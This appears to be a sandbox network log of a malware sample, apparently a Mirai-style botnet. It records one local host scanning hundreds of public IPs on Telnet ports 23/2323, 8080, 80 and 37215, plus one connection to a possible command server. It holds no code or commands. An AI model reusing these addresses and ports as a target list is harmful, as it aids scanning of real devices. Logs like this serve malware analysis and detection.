Mar 4, 2024 15:05:31.157397032 CET	47577	8080	192.168.2.13	62.11.208.220
Mar 4, 2024 15:05:31.157397032 CET	48089	80	192.168.2.13	88.58.227.239
Mar 4, 2024 15:05:31.157397032 CET	47577	8080	192.168.2.13	62.104.213.151
Mar 4, 2024 15:05:31.157397032 CET	47577	8080	192.168.2.13	62.92.105.182
Mar 4, 2024 15:05:31.157397032 CET	47577	8080	192.168.2.13	95.246.119.25
Mar 4, 2024 15:05:31.157418013 CET	50393	23	192.168.2.13	136.168.27.32
Mar 4, 2024 15:05:31.157418013 CET	47577	8080	192.168.2.13	62.106.95.85
Mar 4, 2024 15:05:31.157418013 CET	50393	23	192.168.2.13	115.21.214.173
Mar 4, 2024 15:05:31.157418013 CET	50393	23	192.168.2.13	195.142.41.115
Mar 4, 2024 15:05:31.157418013 CET	47577	8080	192.168.2.13	62.164.22.195
Mar 4, 2024 15:05:31.157418966 CET	47577	8080	192.168.2.13	94.188.209.240
Mar 4, 2024 15:05:31.157418966 CET	50393	23	192.168.2.13	37.116.162.35
Mar 4, 2024 15:05:31.157418966 CET	47577	8080	192.168.2.13	31.241.207.92
Mar 4, 2024 15:05:31.157427073 CET	47577	8080	192.168.2.13	62.118.14.69
Mar 4, 2024 15:05:31.157430887 CET	47577	8080	192.168.2.13	62.43.65.110
Mar 4, 2024 15:05:31.157430887 CET	47577	8080	192.168.2.13	62.78.59.213
Mar 4, 2024 15:05:31.157432079 CET	47577	8080	192.168.2.13	31.171.24.81
Mar 4, 2024 15:05:31.157430887 CET	50393	23	192.168.2.13	160.148.1.235
Mar 4, 2024 15:05:31.157432079 CET	47577	8080	192.168.2.13	95.77.150.127
Mar 4, 2024 15:05:31.157432079 CET	50393	23	192.168.2.13	153.33.85.217
Mar 4, 2024 15:05:31.157432079 CET	47577	8080	192.168.2.13	62.157.248.93
Mar 4, 2024 15:05:31.157432079 CET	47577	8080	192.168.2.13	95.43.31.93
Mar 4, 2024 15:05:31.157432079 CET	47577	8080	192.168.2.13	31.237.101.18
Mar 4, 2024 15:05:31.157432079 CET	47577	8080	192.168.2.13	62.243.188.162
Mar 4, 2024 15:05:31.157432079 CET	47577	8080	192.168.2.13	85.214.137.232
Mar 4, 2024 15:05:31.157450914 CET	47577	8080	192.168.2.13	62.62.30.205
Mar 4, 2024 15:05:31.157452106 CET	50393	2323	192.168.2.13	76.194.109.34
Mar 4, 2024 15:05:31.157452106 CET	47577	8080	192.168.2.13	31.163.186.97
Mar 4, 2024 15:05:31.157452106 CET	50393	23	192.168.2.13	81.192.107.58
Mar 4, 2024 15:05:31.157452106 CET	50393	23	192.168.2.13	188.140.154.197
Mar 4, 2024 15:05:31.157455921 CET	47577	8080	192.168.2.13	62.49.161.158
Mar 4, 2024 15:05:31.157452106 CET	47577	8080	192.168.2.13	31.15.65.109
Mar 4, 2024 15:05:31.157452106 CET	47577	8080	192.168.2.13	62.192.119.82
Mar 4, 2024 15:05:31.157452106 CET	47577	8080	192.168.2.13	95.18.221.97
Mar 4, 2024 15:05:31.157452106 CET	47577	8080	192.168.2.13	95.190.251.113
Mar 4, 2024 15:05:31.157460928 CET	47577	8080	192.168.2.13	94.33.241.22
Mar 4, 2024 15:05:31.157466888 CET	47577	8080	192.168.2.13	31.240.115.80
Mar 4, 2024 15:05:31.157475948 CET	47577	8080	192.168.2.13	62.194.83.140
Mar 4, 2024 15:05:31.157478094 CET	47577	8080	192.168.2.13	31.155.18.93
Mar 4, 2024 15:05:31.157484055 CET	47577	8080	192.168.2.13	31.24.254.83
Mar 4, 2024 15:05:31.157485008 CET	47577	8080	192.168.2.13	85.230.222.47
Mar 4, 2024 15:05:31.157500029 CET	47577	8080	192.168.2.13	94.254.153.82
Mar 4, 2024 15:05:31.157507896 CET	47577	8080	192.168.2.13	31.202.120.6
Mar 4, 2024 15:05:31.157507896 CET	47577	8080	192.168.2.13	85.186.114.238
Mar 4, 2024 15:05:31.157521963 CET	50393	23	192.168.2.13	220.197.125.27
Mar 4, 2024 15:05:31.157521963 CET	50393	23	192.168.2.13	72.200.65.90
Mar 4, 2024 15:05:31.157521963 CET	50393	23	192.168.2.13	126.55.223.95
Mar 4, 2024 15:05:31.157521963 CET	47577	8080	192.168.2.13	94.72.162.172
Mar 4, 2024 15:05:31.157522917 CET	47577	8080	192.168.2.13	31.33.10.236
Mar 4, 2024 15:05:31.157522917 CET	50393	23	192.168.2.13	133.164.114.94
Mar 4, 2024 15:05:31.157522917 CET	47577	8080	192.168.2.13	62.27.248.151
Mar 4, 2024 15:05:31.157522917 CET	50393	2323	192.168.2.13	165.20.77.171
Mar 4, 2024 15:05:31.157545090 CET	50393	23	192.168.2.13	180.7.41.120
Mar 4, 2024 15:05:31.157546043 CET	47577	8080	192.168.2.13	94.155.22.204
Mar 4, 2024 15:05:31.157546043 CET	47577	8080	192.168.2.13	31.91.181.80
Mar 4, 2024 15:05:31.157545090 CET	47577	8080	192.168.2.13	94.242.181.72
Mar 4, 2024 15:05:31.157545090 CET	47577	8080	192.168.2.13	85.122.227.1
Mar 4, 2024 15:05:31.157545090 CET	47577	8080	192.168.2.13	85.70.152.61
Mar 4, 2024 15:05:31.157545090 CET	47577	8080	192.168.2.13	95.131.128.36
Mar 4, 2024 15:05:31.157545090 CET	47577	8080	192.168.2.13	31.10.225.198
Mar 4, 2024 15:05:31.157546043 CET	50393	23	192.168.2.13	103.228.98.203
Mar 4, 2024 15:05:31.157546043 CET	50393	23	192.168.2.13	94.233.136.10
Mar 4, 2024 15:05:31.157561064 CET	47577	8080	192.168.2.13	85.2.164.170
Mar 4, 2024 15:05:31.157562017 CET	47577	8080	192.168.2.13	94.252.233.195
Mar 4, 2024 15:05:31.157562017 CET	47577	8080	192.168.2.13	95.171.30.142
Mar 4, 2024 15:05:31.157562971 CET	50393	23	192.168.2.13	36.189.139.131
Mar 4, 2024 15:05:31.157562971 CET	47577	8080	192.168.2.13	95.84.214.159
Mar 4, 2024 15:05:31.157562971 CET	47577	8080	192.168.2.13	62.208.151.254
Mar 4, 2024 15:05:31.157562971 CET	50393	23	192.168.2.13	142.248.245.247
Mar 4, 2024 15:05:31.157562971 CET	47577	8080	192.168.2.13	85.133.205.246
Mar 4, 2024 15:05:31.157562971 CET	47577	8080	192.168.2.13	31.216.43.5
Mar 4, 2024 15:05:31.157572985 CET	47577	8080	192.168.2.13	94.18.53.194
Mar 4, 2024 15:05:31.157572985 CET	47577	8080	192.168.2.13	95.38.168.117
Mar 4, 2024 15:05:31.157578945 CET	47577	8080	192.168.2.13	94.75.145.4
Mar 4, 2024 15:05:31.157579899 CET	47577	8080	192.168.2.13	62.138.8.210
Mar 4, 2024 15:05:31.157639980 CET	47577	8080	192.168.2.13	94.22.223.100
Mar 4, 2024 15:05:31.157639980 CET	47577	8080	192.168.2.13	62.72.240.147
Mar 4, 2024 15:05:31.157639980 CET	47577	8080	192.168.2.13	95.135.248.149
Mar 4, 2024 15:05:31.157640934 CET	47577	8080	192.168.2.13	31.101.27.188
Mar 4, 2024 15:05:31.157640934 CET	47577	8080	192.168.2.13	31.8.251.166
Mar 4, 2024 15:05:31.157640934 CET	47577	8080	192.168.2.13	94.119.183.121
Mar 4, 2024 15:05:31.157640934 CET	47577	8080	192.168.2.13	85.218.93.71
Mar 4, 2024 15:05:31.157648087 CET	47577	8080	192.168.2.13	94.67.149.211
Mar 4, 2024 15:05:31.157640934 CET	47577	8080	192.168.2.13	31.228.53.227
Mar 4, 2024 15:05:31.157648087 CET	47577	8080	192.168.2.13	94.96.113.190
Mar 4, 2024 15:05:31.157648087 CET	50393	23	192.168.2.13	126.208.138.13
Mar 4, 2024 15:05:31.157648087 CET	47577	8080	192.168.2.13	31.240.55.192
Mar 4, 2024 15:05:31.157648087 CET	50393	23	192.168.2.13	64.38.234.49
Mar 4, 2024 15:05:31.157648087 CET	47577	8080	192.168.2.13	95.150.39.88
Mar 4, 2024 15:05:31.157648087 CET	47577	8080	192.168.2.13	95.88.34.31
Mar 4, 2024 15:05:31.157649040 CET	47577	8080	192.168.2.13	31.67.160.233
Mar 4, 2024 15:05:31.157669067 CET	47577	8080	192.168.2.13	94.137.123.148
Mar 4, 2024 15:05:31.157669067 CET	50393	23	192.168.2.13	14.26.253.11
Mar 4, 2024 15:05:31.157669067 CET	47577	8080	192.168.2.13	85.239.246.150
Mar 4, 2024 15:05:31.157669067 CET	47577	8080	192.168.2.13	94.156.231.241
Mar 4, 2024 15:05:31.157669067 CET	50393	23	192.168.2.13	128.65.150.212
Mar 4, 2024 15:05:31.157669067 CET	47577	8080	192.168.2.13	31.156.210.125
Mar 4, 2024 15:05:31.157670021 CET	47577	8080	192.168.2.13	95.26.6.191
Mar 4, 2024 15:05:31.157670021 CET	47577	8080	192.168.2.13	94.199.203.181
Mar 4, 2024 15:05:31.157736063 CET	50393	2323	192.168.2.13	132.214.226.68
Mar 4, 2024 15:05:31.157736063 CET	47577	8080	192.168.2.13	62.9.14.40
Mar 4, 2024 15:05:31.157736063 CET	50393	23	192.168.2.13	154.31.198.174
Mar 4, 2024 15:05:31.157736063 CET	50393	23	192.168.2.13	130.158.43.175
Mar 4, 2024 15:05:31.157736063 CET	50393	23	192.168.2.13	192.160.203.29
Mar 4, 2024 15:05:31.157736063 CET	47577	8080	192.168.2.13	94.84.200.208
Mar 4, 2024 15:05:31.157737017 CET	50393	23	192.168.2.13	37.45.178.217
Mar 4, 2024 15:05:31.157737017 CET	47577	8080	192.168.2.13	31.173.76.159
Mar 4, 2024 15:05:31.157748938 CET	47577	8080	192.168.2.13	94.209.61.145
Mar 4, 2024 15:05:31.157748938 CET	50393	23	192.168.2.13	115.36.196.72
Mar 4, 2024 15:05:31.157748938 CET	50393	23	192.168.2.13	190.85.138.253
Mar 4, 2024 15:05:31.157748938 CET	50393	23	192.168.2.13	103.49.184.79
Mar 4, 2024 15:05:31.157748938 CET	47577	8080	192.168.2.13	94.113.66.39
Mar 4, 2024 15:05:31.157748938 CET	47577	8080	192.168.2.13	62.123.99.130
Mar 4, 2024 15:05:31.157749891 CET	47577	8080	192.168.2.13	95.138.174.231
Mar 4, 2024 15:05:31.157749891 CET	50393	23	192.168.2.13	188.57.93.69
Mar 4, 2024 15:05:31.157756090 CET	50393	23	192.168.2.13	76.40.208.99
Mar 4, 2024 15:05:31.157756090 CET	47577	8080	192.168.2.13	62.57.23.249
Mar 4, 2024 15:05:31.157756090 CET	50393	23	192.168.2.13	180.107.111.66
Mar 4, 2024 15:05:31.157756090 CET	50393	2323	192.168.2.13	72.249.45.241
Mar 4, 2024 15:05:31.157756090 CET	47577	8080	192.168.2.13	94.249.149.34
Mar 4, 2024 15:05:31.157757044 CET	50393	23	192.168.2.13	70.192.165.124
Mar 4, 2024 15:05:31.157757044 CET	47577	8080	192.168.2.13	85.149.186.11
Mar 4, 2024 15:05:31.157757044 CET	47577	8080	192.168.2.13	94.49.216.9
Mar 4, 2024 15:05:31.157830000 CET	50393	23	192.168.2.13	23.61.79.141
Mar 4, 2024 15:05:31.157830000 CET	47577	8080	192.168.2.13	31.13.245.136
Mar 4, 2024 15:05:31.157830954 CET	47577	8080	192.168.2.13	31.175.228.235
Mar 4, 2024 15:05:31.157830954 CET	47577	8080	192.168.2.13	31.74.25.157
Mar 4, 2024 15:05:31.157830954 CET	48089	80	192.168.2.13	88.139.229.7
Mar 4, 2024 15:05:31.157830954 CET	47577	8080	192.168.2.13	31.222.121.234
Mar 4, 2024 15:05:31.157830954 CET	48089	80	192.168.2.13	88.172.165.164
Mar 4, 2024 15:05:31.157835960 CET	47577	8080	192.168.2.13	85.141.64.132
Mar 4, 2024 15:05:31.157830954 CET	47577	8080	192.168.2.13	94.1.53.59
Mar 4, 2024 15:05:31.157835960 CET	50393	23	192.168.2.13	132.188.116.33
Mar 4, 2024 15:05:31.157836914 CET	47577	8080	192.168.2.13	85.51.99.16
Mar 4, 2024 15:05:31.157836914 CET	47577	8080	192.168.2.13	94.218.196.249
Mar 4, 2024 15:05:31.157836914 CET	47577	8080	192.168.2.13	85.4.51.41
Mar 4, 2024 15:05:31.157836914 CET	50393	23	192.168.2.13	39.134.194.46
Mar 4, 2024 15:05:31.157836914 CET	50393	23	192.168.2.13	54.205.189.127
Mar 4, 2024 15:05:31.157836914 CET	50393	23	192.168.2.13	47.224.139.184
Mar 4, 2024 15:05:31.157859087 CET	50393	23	192.168.2.13	116.209.231.169
Mar 4, 2024 15:05:31.157859087 CET	47577	8080	192.168.2.13	31.44.56.15
Mar 4, 2024 15:05:31.157859087 CET	50393	23	192.168.2.13	168.42.168.203
Mar 4, 2024 15:05:31.157859087 CET	47577	8080	192.168.2.13	31.203.144.27
Mar 4, 2024 15:05:31.157859087 CET	47577	8080	192.168.2.13	95.253.122.131
Mar 4, 2024 15:05:31.157859087 CET	47577	8080	192.168.2.13	62.203.163.174
Mar 4, 2024 15:05:31.157860041 CET	47577	8080	192.168.2.13	94.135.216.98
Mar 4, 2024 15:05:31.157860041 CET	47577	8080	192.168.2.13	85.155.110.163
Mar 4, 2024 15:05:31.157929897 CET	47577	8080	192.168.2.13	94.148.187.90
Mar 4, 2024 15:05:31.157931089 CET	48089	80	192.168.2.13	88.39.13.185
Mar 4, 2024 15:05:31.157931089 CET	48089	80	192.168.2.13	88.0.188.104
Mar 4, 2024 15:05:31.157931089 CET	47577	8080	192.168.2.13	85.67.148.117
Mar 4, 2024 15:05:31.157931089 CET	48089	80	192.168.2.13	88.197.225.169
Mar 4, 2024 15:05:31.157931089 CET	47577	8080	192.168.2.13	85.181.2.159
Mar 4, 2024 15:05:31.157931089 CET	47577	8080	192.168.2.13	94.124.78.110
Mar 4, 2024 15:05:31.157931089 CET	48089	80	192.168.2.13	88.129.201.129
Mar 4, 2024 15:05:31.157944918 CET	47577	8080	192.168.2.13	95.36.207.170
Mar 4, 2024 15:05:31.157944918 CET	47577	8080	192.168.2.13	94.48.77.206
Mar 4, 2024 15:05:31.157944918 CET	47577	8080	192.168.2.13	95.136.134.189
Mar 4, 2024 15:05:31.157944918 CET	47577	8080	192.168.2.13	31.45.22.160
Mar 4, 2024 15:05:31.157944918 CET	47577	8080	192.168.2.13	95.217.29.212
Mar 4, 2024 15:05:31.157946110 CET	47577	8080	192.168.2.13	31.126.129.202
Mar 4, 2024 15:05:31.157946110 CET	47577	8080	192.168.2.13	85.160.94.86
Mar 4, 2024 15:05:31.157946110 CET	50393	2323	192.168.2.13	17.44.38.56
Mar 4, 2024 15:05:31.157963037 CET	47577	8080	192.168.2.13	95.164.86.255
Mar 4, 2024 15:05:31.157963037 CET	47577	8080	192.168.2.13	62.177.87.192
Mar 4, 2024 15:05:31.157963037 CET	47577	8080	192.168.2.13	85.196.203.149
Mar 4, 2024 15:05:31.157963037 CET	47577	8080	192.168.2.13	62.225.181.72
Mar 4, 2024 15:05:31.157963991 CET	47577	8080	192.168.2.13	85.105.254.19
Mar 4, 2024 15:05:31.157963991 CET	47577	8080	192.168.2.13	94.127.173.93
Mar 4, 2024 15:05:31.157963991 CET	47577	8080	192.168.2.13	85.183.51.28
Mar 4, 2024 15:05:31.157963991 CET	47577	8080	192.168.2.13	94.92.157.24
Mar 4, 2024 15:05:31.158015966 CET	47577	8080	192.168.2.13	62.125.26.158
Mar 4, 2024 15:05:31.158016920 CET	47577	8080	192.168.2.13	31.230.122.198
Mar 4, 2024 15:05:31.158016920 CET	47577	8080	192.168.2.13	95.77.41.67
Mar 4, 2024 15:05:31.158016920 CET	47577	8080	192.168.2.13	95.126.145.188
Mar 4, 2024 15:05:31.158016920 CET	47577	8080	192.168.2.13	62.249.48.238
Mar 4, 2024 15:05:31.158016920 CET	47577	8080	192.168.2.13	85.216.226.165
Mar 4, 2024 15:05:31.158016920 CET	47577	8080	192.168.2.13	95.168.34.192
Mar 4, 2024 15:05:31.158016920 CET	47577	8080	192.168.2.13	31.218.114.65
Mar 4, 2024 15:05:31.158030033 CET	50393	23	192.168.2.13	145.96.140.192
Mar 4, 2024 15:05:31.158030033 CET	47577	8080	192.168.2.13	94.207.234.126
Mar 4, 2024 15:05:31.158030033 CET	50393	23	192.168.2.13	69.14.128.32
Mar 4, 2024 15:05:31.158030033 CET	47577	8080	192.168.2.13	62.234.50.47
Mar 4, 2024 15:05:31.158030987 CET	50393	23	192.168.2.13	52.173.43.87
Mar 4, 2024 15:05:31.158030987 CET	47577	8080	192.168.2.13	31.179.26.5
Mar 4, 2024 15:05:31.158030987 CET	47577	8080	192.168.2.13	94.100.47.190
Mar 4, 2024 15:05:31.158030987 CET	47577	8080	192.168.2.13	95.58.108.121
Mar 4, 2024 15:05:31.158050060 CET	47577	8080	192.168.2.13	31.254.18.95
Mar 4, 2024 15:05:31.158050060 CET	47577	8080	192.168.2.13	31.4.207.213
Mar 4, 2024 15:05:31.158050060 CET	47577	8080	192.168.2.13	94.138.188.203
Mar 4, 2024 15:05:31.158050060 CET	47577	8080	192.168.2.13	94.218.24.196
Mar 4, 2024 15:05:31.158051014 CET	47577	8080	192.168.2.13	62.17.23.130
Mar 4, 2024 15:05:31.158119917 CET	47577	8080	192.168.2.13	94.209.56.111
Mar 4, 2024 15:05:31.158119917 CET	50393	23	192.168.2.13	70.203.34.141
Mar 4, 2024 15:05:31.158119917 CET	47577	8080	192.168.2.13	31.208.156.180
Mar 4, 2024 15:05:31.158119917 CET	47577	8080	192.168.2.13	85.184.121.89
Mar 4, 2024 15:05:31.158119917 CET	47577	8080	192.168.2.13	85.29.61.67
Mar 4, 2024 15:05:31.158119917 CET	47577	8080	192.168.2.13	94.245.207.187
Mar 4, 2024 15:05:31.158119917 CET	47577	8080	192.168.2.13	94.211.39.161
Mar 4, 2024 15:05:31.158119917 CET	47577	8080	192.168.2.13	95.191.216.185
Mar 4, 2024 15:05:31.158201933 CET	48089	80	192.168.2.13	88.15.107.112
Mar 4, 2024 15:05:31.158202887 CET	47577	8080	192.168.2.13	94.32.210.51
Mar 4, 2024 15:05:31.158202887 CET	47577	8080	192.168.2.13	31.95.151.143
Mar 4, 2024 15:05:31.158202887 CET	48089	80	192.168.2.13	88.192.109.97
Mar 4, 2024 15:05:31.158202887 CET	47577	8080	192.168.2.13	95.11.92.9
Mar 4, 2024 15:05:31.158202887 CET	47577	8080	192.168.2.13	31.217.154.204
Mar 4, 2024 15:05:31.158202887 CET	48089	80	192.168.2.13	88.222.15.164
Mar 4, 2024 15:05:31.158202887 CET	47577	8080	192.168.2.13	31.116.252.140
Mar 4, 2024 15:05:31.158278942 CET	47577	8080	192.168.2.13	62.103.1.87
Mar 4, 2024 15:05:31.158278942 CET	47577	8080	192.168.2.13	31.163.161.64
Mar 4, 2024 15:05:31.158279896 CET	47577	8080	192.168.2.13	94.14.246.89
Mar 4, 2024 15:05:31.158279896 CET	47577	8080	192.168.2.13	62.77.182.190
Mar 4, 2024 15:05:31.158279896 CET	47577	8080	192.168.2.13	94.106.142.167
Mar 4, 2024 15:05:31.158279896 CET	47577	8080	192.168.2.13	62.4.126.252
Mar 4, 2024 15:05:31.158279896 CET	47577	8080	192.168.2.13	85.73.102.205
Mar 4, 2024 15:05:31.159127951 CET	39938	1024	192.168.2.13	45.142.107.38
Mar 4, 2024 15:05:31.352281094 CET	8080	47577	31.209.1.244	192.168.2.13
Mar 4, 2024 15:05:31.362907887 CET	80	48089	88.213.223.74	192.168.2.13
Mar 4, 2024 15:05:31.385732889 CET	8080	47577	94.123.65.224	192.168.2.13
Mar 4, 2024 15:05:31.386025906 CET	47577	8080	192.168.2.13	94.123.65.224
Mar 4, 2024 15:05:31.425467014 CET	37215	47833	157.107.237.63	192.168.2.13
Mar 4, 2024 15:05:32.016197920 CET	80	48089	88.204.194.249	192.168.2.13
Mar 4, 2024 15:05:32.016304970 CET	48089	80	192.168.2.13	88.204.194.249
Mar 4, 2024 15:05:32.147459030 CET	47833	37215	192.168.2.13	41.183.169.86
Mar 4, 2024 15:05:32.147480965 CET	47833	37215	192.168.2.13	41.108.62.170
Mar 4, 2024 15:05:32.147481918 CET	47833	37215	192.168.2.13	41.122.45.169
Mar 4, 2024 15:05:32.147481918 CET	47833	37215	192.168.2.13	41.47.40.138
Mar 4, 2024 15:05:32.147481918 CET	47833	37215	192.168.2.13	41.83.91.82
Mar 4, 2024 15:05:32.147494078 CET	47833	37215	192.168.2.13	41.104.97.184
Mar 4, 2024 15:05:32.147495985 CET	47833	37215	192.168.2.13	41.67.108.115
Mar 4, 2024 15:05:32.147494078 CET	47833	37215	192.168.2.13	41.217.241.184
Mar 4, 2024 15:05:32.147495031 CET	47833	37215	192.168.2.13	41.245.77.250
Mar 4, 2024 15:05:32.147495031 CET	47833	37215	192.168.2.13	41.164.242.149
Mar 4, 2024 15:05:32.147495031 CET	47833	37215	192.168.2.13	41.142.230.77
Mar 4, 2024 15:05:32.147505045 CET	47833	37215	192.168.2.13	41.142.254.153
Mar 4, 2024 15:05:32.147515059 CET	47833	37215	192.168.2.13	41.5.246.138
Mar 4, 2024 15:05:32.147519112 CET	47833	37215	192.168.2.13	41.84.41.32
Mar 4, 2024 15:05:32.147519112 CET	47833	37215	192.168.2.13	41.167.155.30
Mar 4, 2024 15:05:32.147553921 CET	47833	37215	192.168.2.13	41.33.120.77
Mar 4, 2024 15:05:32.147566080 CET	47833	37215	192.168.2.13	41.129.166.138
Mar 4, 2024 15:05:32.147569895 CET	47833	37215	192.168.2.13	41.241.169.72
Mar 4, 2024 15:05:32.147569895 CET	47833	37215	192.168.2.13	41.0.197.24
Mar 4, 2024 15:05:32.147583008 CET	47833	37215	192.168.2.13	41.71.34.220
Mar 4, 2024 15:05:32.147583008 CET	47833	37215	192.168.2.13	41.194.96.190
Mar 4, 2024 15:05:32.147589922 CET	47833	37215	192.168.2.13	41.72.207.110
Mar 4, 2024 15:05:32.147588015 CET	47833	37215	192.168.2.13	41.255.227.54
Mar 4, 2024 15:05:32.147589922 CET	47833	37215	192.168.2.13	41.216.171.10
Mar 4, 2024 15:05:32.147608042 CET	47833	37215	192.168.2.13	41.39.253.125
Mar 4, 2024 15:05:32.147608042 CET	47833	37215	192.168.2.13	41.123.122.221
Mar 4, 2024 15:05:32.147614002 CET	47833	37215	192.168.2.13	41.101.27.83
Mar 4, 2024 15:05:32.147628069 CET	47833	37215	192.168.2.13	41.202.80.116
Mar 4, 2024 15:05:32.147631884 CET	47833	37215	192.168.2.13	41.240.76.74
Mar 4, 2024 15:05:32.147639036 CET	47833	37215	192.168.2.13	41.142.23.225
Mar 4, 2024 15:05:32.147643089 CET	47833	37215	192.168.2.13	41.94.3.85
Mar 4, 2024 15:05:32.147660971 CET	47833	37215	192.168.2.13	41.132.14.70
Mar 4, 2024 15:05:32.147667885 CET	47833	37215	192.168.2.13	41.74.88.211
Mar 4, 2024 15:05:32.147672892 CET	47833	37215	192.168.2.13	41.161.13.230
Mar 4, 2024 15:05:32.147674084 CET	47833	37215	192.168.2.13	41.99.140.191
Mar 4, 2024 15:05:32.147687912 CET	47833	37215	192.168.2.13	41.39.109.129
Mar 4, 2024 15:05:32.147687912 CET	47833	37215	192.168.2.13	41.34.125.29
Mar 4, 2024 15:05:32.147694111 CET	47833	37215	192.168.2.13	41.127.33.125
Mar 4, 2024 15:05:32.147702932 CET	47833	37215	192.168.2.13	41.98.210.178
Mar 4, 2024 15:05:32.147727013 CET	47833	37215	192.168.2.13	41.157.4.130
Mar 4, 2024 15:05:32.147727013 CET	47833	37215	192.168.2.13	41.55.168.147
Mar 4, 2024 15:05:32.147727013 CET	47833	37215	192.168.2.13	41.245.131.196
Mar 4, 2024 15:05:32.147742033 CET	47833	37215	192.168.2.13	41.194.17.92
Mar 4, 2024 15:05:32.147749901 CET	47833	37215	192.168.2.13	41.25.117.136
Mar 4, 2024 15:05:32.147763014 CET	47833	37215	192.168.2.13	41.204.203.33
Mar 4, 2024 15:05:32.147768021 CET	47833	37215	192.168.2.13	41.74.253.224
Mar 4, 2024 15:05:32.147769928 CET	47833	37215	192.168.2.13	41.9.144.74
Mar 4, 2024 15:05:32.147772074 CET	47833	37215	192.168.2.13	41.215.12.38
Mar 4, 2024 15:05:32.147778034 CET	47833	37215	192.168.2.13	41.6.96.101
Mar 4, 2024 15:05:32.147789001 CET	47833	37215	192.168.2.13	41.114.143.185
Mar 4, 2024 15:05:32.147790909 CET	47833	37215	192.168.2.13	41.239.8.147
Mar 4, 2024 15:05:32.147799015 CET	47833	37215	192.168.2.13	41.217.226.110
Mar 4, 2024 15:05:32.147802114 CET	47833	37215	192.168.2.13	41.80.149.41
Mar 4, 2024 15:05:32.147821903 CET	47833	37215	192.168.2.13	41.199.142.89
Mar 4, 2024 15:05:32.147835016 CET	47833	37215	192.168.2.13	41.205.53.170
Mar 4, 2024 15:05:32.147845984 CET	47833	37215	192.168.2.13	41.254.130.227
Mar 4, 2024 15:05:32.147860050 CET	47833	37215	192.168.2.13	41.164.231.213
Mar 4, 2024 15:05:32.147871971 CET	47833	37215	192.168.2.13	41.191.51.42
Mar 4, 2024 15:05:32.147882938 CET	47833	37215	192.168.2.13	41.47.61.155
Mar 4, 2024 15:05:32.147885084 CET	47833	37215	192.168.2.13	41.210.165.214
Mar 4, 2024 15:05:32.147903919 CET	47833	37215	192.168.2.13	41.142.143.64
Mar 4, 2024 15:05:32.147913933 CET	47833	37215	192.168.2.13	41.120.212.253
Mar 4, 2024 15:05:32.147927046 CET	47833	37215	192.168.2.13	41.179.183.129
Mar 4, 2024 15:05:32.147953033 CET	47833	37215	192.168.2.13	41.191.108.34
Mar 4, 2024 15:05:32.147955894 CET	47833	37215	192.168.2.13	41.170.125.171
Mar 4, 2024 15:05:32.147965908 CET	47833	37215	192.168.2.13	41.213.166.240
Mar 4, 2024 15:05:32.147965908 CET	47833	37215	192.168.2.13	41.7.192.247
Mar 4, 2024 15:05:32.147968054 CET	47833	37215	192.168.2.13	41.8.19.248
Mar 4, 2024 15:05:32.147969961 CET	47833	37215	192.168.2.13	41.139.137.41
Mar 4, 2024 15:05:32.147970915 CET	47833	37215	192.168.2.13	41.162.167.25
Mar 4, 2024 15:05:32.147984982 CET	47833	37215	192.168.2.13	41.136.213.51
Mar 4, 2024 15:05:32.147986889 CET	47833	37215	192.168.2.13	41.105.232.181
Mar 4, 2024 15:05:32.147998095 CET	47833	37215	192.168.2.13	41.99.220.29
Mar 4, 2024 15:05:32.148000002 CET	47833	37215	192.168.2.13	41.45.100.79
Mar 4, 2024 15:05:32.148006916 CET	47833	37215	192.168.2.13	41.211.168.121
Mar 4, 2024 15:05:32.148006916 CET	47833	37215	192.168.2.13	41.193.235.147
Mar 4, 2024 15:05:32.148015022 CET	47833	37215	192.168.2.13	41.20.41.207
Mar 4, 2024 15:05:32.148017883 CET	47833	37215	192.168.2.13	41.23.253.80
Mar 4, 2024 15:05:32.148036003 CET	47833	37215	192.168.2.13	41.35.88.187
Mar 4, 2024 15:05:32.148039103 CET	47833	37215	192.168.2.13	41.101.166.207
Mar 4, 2024 15:05:32.148046017 CET	47833	37215	192.168.2.13	41.139.124.237
Mar 4, 2024 15:05:32.148077011 CET	47833	37215	192.168.2.13	41.192.91.158
Mar 4, 2024 15:05:32.148077011 CET	47833	37215	192.168.2.13	41.166.48.27
Mar 4, 2024 15:05:32.148082972 CET	47833	37215	192.168.2.13	41.15.74.210
Mar 4, 2024 15:05:32.148082972 CET	47833	37215	192.168.2.13	41.228.235.37
Mar 4, 2024 15:05:32.148082972 CET	47833	37215	192.168.2.13	41.140.119.208
Mar 4, 2024 15:05:32.148086071 CET	47833	37215	192.168.2.13	41.110.199.49
Mar 4, 2024 15:05:32.148097992 CET	47833	37215	192.168.2.13	41.146.212.80
Mar 4, 2024 15:05:32.148108006 CET	47833	37215	192.168.2.13	41.246.217.81
Mar 4, 2024 15:05:32.148123026 CET	47833	37215	192.168.2.13	41.172.5.117
Mar 4, 2024 15:05:32.148128033 CET	47833	37215	192.168.2.13	41.78.136.178
Mar 4, 2024 15:05:32.148139000 CET	47833	37215	192.168.2.13	41.51.94.242
Mar 4, 2024 15:05:32.148148060 CET	47833	37215	192.168.2.13	41.104.36.50
Mar 4, 2024 15:05:32.148149014 CET	47833	37215	192.168.2.13	41.218.31.15
Mar 4, 2024 15:05:32.148150921 CET	47833	37215	192.168.2.13	41.226.164.103
Mar 4, 2024 15:05:32.148201942 CET	47833	37215	192.168.2.13	41.101.242.134
Mar 4, 2024 15:05:32.148201942 CET	47833	37215	192.168.2.13	41.110.216.46
Mar 4, 2024 15:05:32.148202896 CET	47833	37215	192.168.2.13	41.226.177.72
Mar 4, 2024 15:05:32.148205042 CET	47833	37215	192.168.2.13	41.164.178.40
Mar 4, 2024 15:05:32.148202896 CET	47833	37215	192.168.2.13	41.89.72.19
Mar 4, 2024 15:05:32.148205996 CET	47833	37215	192.168.2.13	41.156.70.94
Mar 4, 2024 15:05:32.148217916 CET	47833	37215	192.168.2.13	41.74.215.132
Mar 4, 2024 15:05:32.148237944 CET	47833	37215	192.168.2.13	41.109.104.16
Mar 4, 2024 15:05:32.148241997 CET	47833	37215	192.168.2.13	41.152.203.251
Mar 4, 2024 15:05:32.148243904 CET	47833	37215	192.168.2.13	41.17.234.144
Mar 4, 2024 15:05:32.148243904 CET	47833	37215	192.168.2.13	41.70.217.197
Mar 4, 2024 15:05:32.148248911 CET	47833	37215	192.168.2.13	41.132.174.248
Mar 4, 2024 15:05:32.148268938 CET	47833	37215	192.168.2.13	41.110.198.118
Mar 4, 2024 15:05:32.148277044 CET	47833	37215	192.168.2.13	41.202.87.125
Mar 4, 2024 15:05:32.148277044 CET	47833	37215	192.168.2.13	41.158.44.193
Mar 4, 2024 15:05:32.148292065 CET	47833	37215	192.168.2.13	41.49.61.19
